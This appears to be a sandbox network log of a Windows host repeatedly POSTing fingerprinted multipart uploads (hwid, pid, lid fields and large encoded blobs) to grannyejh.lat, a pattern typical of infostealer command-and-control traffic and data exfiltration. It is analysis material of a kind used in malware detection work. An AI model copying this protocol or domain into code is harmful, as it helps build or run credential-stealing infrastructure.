2024-12-18 16:14:48 UTC	1369	IN	Data Raw: 32 31 34 34 0d 0a 56 70 48 42 65 54 66 50 78 67 31 65 35 5a 66 43 41 54 6c 78 6b 33 42 74 33 4b 36 57 36 6c 68 47 2b 4d 46 74 42 6d 44 4b 4f 49 6c 44 55 51 46 38 74 39 2b 57 33 38 35 33 68 77 61 46 75 4b 67 49 37 33 72 49 65 77 4c 36 58 45 71 70 67 6a 7a 54 34 30 77 76 79 73 56 62 77 58 69 33 77 59 57 4c 54 4f 59 52 30 77 67 70 70 41 54 6c 50 6f 32 70 43 4c 2b 4e 51 47 71 44 4c 59 68 79 47 53 33 4b 77 4d 57 51 2b 72 48 61 52 59 74 4c 38 6c 66 56 45 58 33 78 55 6a 41 75 33 65 37 45 37 63 71 52 4c 74 63 72 46 32 4e 4d 4b 49 72 46 52 59 43 71 59 30 72 58 6d 34 39 32 31 67 79 4b 36 61 49 45 4a 7a 6e 4a 74 63 79 31 7a 34 46 72 68 4b 32 50 74 56 39 6f 47 68 49 55 58 75 55 6b 54 35 4d 61 69 58 65 48 30 78 62 35 5a 46 64 79 39 56 6e 6f 55 7a 47 66 55 53 31 58 4b Data Ascii: 2144VpHBeTfPxg1e5ZfCATlxk3Bt3K6W6lhG+MFtBmDKOIlDUQF8t9+W3853hwaFuKgI73rIewL6XEqpgjzT40wvysVbwXi3wYWLTOYR0wgppATlPo2pCL+NQGqDLYhyGS3KwMWQ+rHaRYtL8lfVEX3xUjAu3e7E7cqRLtcrF2NMKIrFRYCqY0rXm4921gyK6aIEJznJtcy1z4FrhK2PtV9oGhIUXuUkT5MaiXeH0xb5ZFdy9VnoUzGfUS1XK
2024-12-18 16:14:48 UTC	1369	IN	Data Raw: 34 44 6c 53 47 46 7a 71 69 58 6b 41 50 32 57 59 44 55 78 4e 35 64 6b 65 67 66 34 68 36 68 72 36 64 44 71 54 4f 2f 6f 49 77 6d 61 67 5a 6b 46 33 52 72 75 56 42 32 5a 34 4b 4e 59 52 43 77 4f 30 33 6c 50 54 34 32 65 78 4e 62 6c 37 52 4a 4a 53 74 42 65 44 4b 50 42 65 54 6c 68 4c 72 59 6b 6f 46 55 6f 6c 33 78 34 61 42 61 69 53 50 4a 44 39 4c 61 6c 43 75 54 56 45 39 55 36 36 54 38 64 68 38 44 4d 64 42 42 37 2f 7a 47 34 49 50 7a 53 57 42 6b 77 44 35 63 5a 50 33 61 77 31 71 56 53 35 64 41 65 2f 44 76 49 4d 31 58 50 33 56 58 4e 7a 55 71 6d 50 50 31 74 54 46 66 4d 54 43 68 4b 2f 6d 52 75 31 7a 47 65 6e 54 50 5a 7a 58 4a 52 63 76 45 2f 38 50 76 42 7a 44 51 34 46 6e 35 77 33 56 6d 6f 39 79 56 49 70 41 71 61 4f 47 35 43 73 61 61 6b 4b 75 57 74 55 34 31 7a 77 48 6f 4d Data Ascii: 4DlSGFzqiXkAP2WYDUxN5dkegf4h6hr6dDqTO/oIwmagZkF3RruVB2Z4KNYRCwO03lPT42exNbl7RJJStBeDKPBeTlhLrYkoFUol3x4aBaiSPJD9LalCuTVE9U66T8dh8DMdBB7/zG4IPzSWBkwD5cZP3aw1qVS5dAe/DvIM1XP3VXNzUqmPP1tTFfMTChK/mRu1zGenTPZzXJRcvE/8PvBzDQ4Fn5w3Vmo9yVIpAqaOG5CsaakKuWtU41zwHoM

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	50379	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:49 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2XCGB8SL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1287 Host: grannyejh.lat
2024-12-18 16:14:49 UTC	1287	OUT	Data Raw: 2d 2d 32 58 43 47 42 38 53 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 32 58 43 47 42 38 53 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 58 43 47 42 38 53 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 32 58 43 47 42 38 53 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --2XCGB8SLContent-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--2XCGB8SLContent-Disposition: form-data; name="pid"1--2XCGB8SLContent-Disposition: form-data; name="lid"PsFKDg--pablo--2XCGB8SLContent-Disposit
2024-12-18 16:14:50 UTC	1030	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8cmskn7rt5jc5c49ltadror2vt; expires=Sun, 13-Apr-2025 10:01:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JQb06vZaQ4pf40%2BEUgisv5E%2BKwa0bsRpvL0LOpWbd%2BL0LVtyGKR2ce75MzOkUEnFDB8VS9ABAOwmA5Trbfyir8Q0DbgBz2BVK2%2FV76aP4cViAj5ets9fxR3aorhoXU5b"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4072b99d428cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2040&min_rtt=1907&rtt_var=982&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2191&delivery_rate=980853&cwnd=242&unsent_bytes=0&cid=3c2d7bbd045b594c&ts=645&x=0"
2024-12-18 16:14:50 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:14:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	50381	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:50 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=G7MEOX3A6XWBBP4BZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18157 Host: grannyejh.lat
2024-12-18 16:14:50 UTC	15331	OUT	Data Raw: 2d 2d 47 37 4d 45 4f 58 33 41 36 58 57 42 42 50 34 42 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 47 37 4d 45 4f 58 33 41 36 58 57 42 42 50 34 42 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 47 37 4d 45 4f 58 33 41 36 58 57 42 42 50 34 42 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --G7MEOX3A6XWBBP4BZContent-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--G7MEOX3A6XWBBP4BZContent-Disposition: form-data; name="pid"2--G7MEOX3A6XWBBP4BZContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-18 16:14:50 UTC	2826	OUT	Data Raw: 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af Data Ascii: 5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6
2024-12-18 16:14:50 UTC	1032	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ff09d4kh22k6a5s7mhj5fd0pdr; expires=Sun, 13-Apr-2025 10:01:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YWqTQScRLv7A23l3dzqFtrH%2BnEsW3jPWRl%2B2HaaAfdh0vWTHd0uEyD4dPOxqLAMjZRZljPns35yerwAbFnZrn5QSqGSETnnMSIiYxeM6pLMWCKOD6mSws733oy9J3Z%2Fr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4072bd1c038c89-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1946&min_rtt=1848&rtt_var=763&sent=14&recv=23&lost=0&retrans=0&sent_bytes=2831&recv_bytes=19115&delivery_rate=1580086&cwnd=202&unsent_bytes=0&cid=e0fb94252d8276fb&ts=724&x=0"
2024-12-18 16:14:50 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:14:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	50382	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:51 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=A71HJTZW5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 29519 Host: grannyejh.lat
2024-12-18 16:14:51 UTC	15331	OUT	Data Raw: 2d 2d 41 37 31 48 4a 54 5a 57 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 41 37 31 48 4a 54 5a 57 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 37 31 48 4a 54 5a 57 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 41 37 31 48 4a 54 5a 57 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --A71HJTZW5Content-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--A71HJTZW5Content-Disposition: form-data; name="pid"1--A71HJTZW5Content-Disposition: form-data; name="lid"PsFKDg--pablo--A71HJTZW5Content-Disp
2024-12-18 16:14:51 UTC	14188	OUT	Data Raw: 50 51 4b c2 da c6 6e f9 6d 37 3e ba 07 00 b9 05 ae d7 ff 18 35 e6 4f bc 17 8e 45 0f d6 01 a0 4b 3f 94 36 b8 fd e4 f8 0f 56 d3 cd b0 aa 2c 9e 69 9f 3c 30 65 fc da 99 98 67 d6 0e ab 01 57 a8 02 5c b2 72 fa 6f b6 8b 13 60 23 e0 52 ff 5c be b1 7c f8 39 50 9b 91 c4 64 4f 7a da a5 48 a6 f2 13 7a ff 2d 6d e5 a3 21 ea e3 81 af 6c 1b c9 b0 ee 55 5d 6c 2d db 7e f1 e2 41 b1 15 5d 10 5b 91 fd c6 e9 02 fb e4 47 49 d7 e3 a6 24 cc 4c 5b ba d2 84 c8 39 72 0e d2 2e c7 91 74 33 43 5d 72 82 d2 f6 be 01 ec 07 3b 22 ae eb a6 0f cd bf 2b 82 d4 fa 1e 05 5f 0a 7c 03 d4 78 e1 e6 14 e6 bf 35 a6 cb 03 6d fc 84 44 af cf 09 fa 6f 6d 3b cf c3 df 7a 2f 15 6f 5e 8a 52 eb 8f 3d 5a b5 1b 48 4d 79 64 30 cc 8f f2 84 31 cb 5f 31 6d fe 58 5d 72 1b 54 9a b4 da cf af 82 84 7b 17 55 3b cb 03 b6 Data Ascii: PQKnm7>5OEK?6V,i<0egW\ro`#R\\|9PdOzHz-m!lU]l-~A][GI$L[9r.t3C]r;"+_\|x5mDom;z/o^R=ZHMyd01_1mX]rT{U;
2024-12-18 16:14:52 UTC	1039	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=trpshsj7tle659h4nl57e8qafi; expires=Sun, 13-Apr-2025 10:01:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VaLv6Jw5OnUms6eM4gfg8azr1VwdD0kVHyU4SYy7Wy%2F3NAi50zKsi%2BUFo2HsKgz6BlfbVxqZXiY%2BvlRwVZ25s8%2BF%2Bju6TqwrAkZgjlEfgZdG0eJlFSPuhYr3wt1jo5E%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4072c669ad4332-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2572&min_rtt=2213&rtt_var=1086&sent=16&recv=33&lost=0&retrans=0&sent_bytes=2829&recv_bytes=30491&delivery_rate=1319475&cwnd=118&unsent_bytes=0&cid=3bdf0eef9e19e589&ts=800&x=0"
2024-12-18 16:14:52 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:14:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	50383	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:52 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RAMX41F2ZFN5V2Z User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8766 Host: grannyejh.lat
2024-12-18 16:14:52 UTC	8766	OUT	Data Raw: 2d 2d 52 41 4d 58 34 31 46 32 5a 46 4e 35 56 32 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 52 41 4d 58 34 31 46 32 5a 46 4e 35 56 32 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 52 41 4d 58 34 31 46 32 5a 46 4e 35 56 32 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 52 41 4d 58 34 Data Ascii: --RAMX41F2ZFN5V2ZContent-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--RAMX41F2ZFN5V2ZContent-Disposition: form-data; name="pid"2--RAMX41F2ZFN5V2ZContent-Disposition: form-data; name="lid"PsFKDg--pablo--RAMX4
2024-12-18 16:14:52 UTC	1032	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mjsrro5eff3f4frvmuj8b86jka; expires=Sun, 13-Apr-2025 10:01:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qixhdc1y61t11yJvtzB53sSrTC7A%2FjazmUN9gLiDRc2NpMQ4K30NCV3eB%2B4gnujbJeps5P0PJfjYcvLxZf11Y7Opkz2g14uh7dfdBq9jnUprf2v5Cpbj%2BsPd2ycRVDn%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4072c95c0cf5f7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1674&min_rtt=1661&rtt_var=649&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2830&recv_bytes=9699&delivery_rate=1653454&cwnd=237&unsent_bytes=0&cid=97469067136ff6c8&ts=626&x=0"
2024-12-18 16:14:52 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:14:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	50385	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:53 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: grannyejh.lat
2024-12-18 16:14:53 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=8B2BACE9145C30D4AC8923850305D13E
2024-12-18 16:14:54 UTC	1026	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vpjvpvc367o46lp3tnd8m71ki7; expires=Sun, 13-Apr-2025 10:01:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BK0tViLcNm2KjwvTQWualJsp8fAL2WSVhwjws9AEiC%2BaMI0jyY5m9hk%2Bo0TODrwlitI6V09D15enV2yNBBS9bcIfq2EnNJTF783e0K3zLKDGazV4z6PO4ivFRdqSDBng"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4072d3bb6f4299-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1594&min_rtt=1590&rtt_var=604&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=979&delivery_rate=1798029&cwnd=251&unsent_bytes=0&cid=80dea50ac1927dfd&ts=613&x=0"
2024-12-18 16:14:54 UTC	214	IN	Data Raw: 64 30 0d 0a 4b 52 48 62 69 59 58 78 78 50 51 64 4f 74 41 48 69 62 57 4e 65 42 49 57 75 62 6c 6e 47 57 4e 58 2b 4f 4d 39 4e 50 63 57 73 74 64 79 61 76 6e 38 70 38 76 6d 6e 47 6c 4f 6f 44 33 56 6d 74 46 58 49 79 36 4d 6c 31 55 6f 56 6e 6e 4a 30 67 34 61 78 69 44 75 2b 45 5a 33 76 64 57 71 6c 61 47 53 4d 31 2b 6f 59 71 75 5a 72 78 35 6d 4e 49 4f 4a 53 7a 73 47 64 63 4c 54 51 42 69 4d 4e 4d 66 31 45 7a 4f 7a 2f 66 47 42 2f 71 67 79 5a 76 38 32 73 59 43 6a 53 69 4d 6a 6c 34 68 57 4b 6b 31 6d 7a 72 38 53 52 34 4e 7a 30 37 70 31 50 71 6e 6f 36 35 57 72 6d 54 4e 66 71 47 4b 72 6d 61 38 65 5a 6a 53 44 69 55 73 37 42 6e 58 43 30 30 42 70 0d 0a Data Ascii: d0KRHbiYXxxPQdOtAHibWNeBIWublnGWNX+OM9NPcWstdyavn8p8vmnGlOoD3VmtFXIy6Ml1UoVnnJ0g4axiDu+EZ3vdWqlaGSM1+oYquZrx5mNIOJSzsGdcLTQBiMNMf1EzOz/fGB/qgyZv82sYCjSiMjl4hWKk1mzr8SR4Nz07p1Pqno65WrmTNfqGKrma8eZjSDiUs7BnXC00Bp
2024-12-18 16:14:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	50386	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:54 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OKGLXTLS0V1E9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20407 Host: grannyejh.lat
2024-12-18 16:14:54 UTC	15331	OUT	Data Raw: 2d 2d 4f 4b 47 4c 58 54 4c 53 30 56 31 45 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4f 4b 47 4c 58 54 4c 53 30 56 31 45 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4f 4b 47 4c 58 54 4c 53 30 56 31 45 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4f 4b 47 4c 58 54 4c 53 30 56 31 Data Ascii: --OKGLXTLS0V1E9Content-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--OKGLXTLS0V1E9Content-Disposition: form-data; name="pid"3--OKGLXTLS0V1E9Content-Disposition: form-data; name="lid"PsFKDg--pablo--OKGLXTLS0V1
2024-12-18 16:14:54 UTC	5076	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-12-18 16:14:55 UTC	1032	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t8stdnrt9hm1uf53c5i4soeu5l; expires=Sun, 13-Apr-2025 10:01:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EHVvXfLnErNIVqADvRBwxKEI4qAAb75puPbE0a8PMclUPinfuic1zWb6l%2F8MlcmpVGIH9HO0CjFwlY5twnnfGaLgIG1GY%2Fjk7g3XhQ%2FH9bdxoW1EDAy8psWWfIWL0XbU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4072d5e93d9e08-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1922&min_rtt=1846&rtt_var=746&sent=13&recv=25&lost=0&retrans=0&sent_bytes=2830&recv_bytes=21361&delivery_rate=1581798&cwnd=163&unsent_bytes=0&cid=bc89a9083a2d5847&ts=979&x=0"
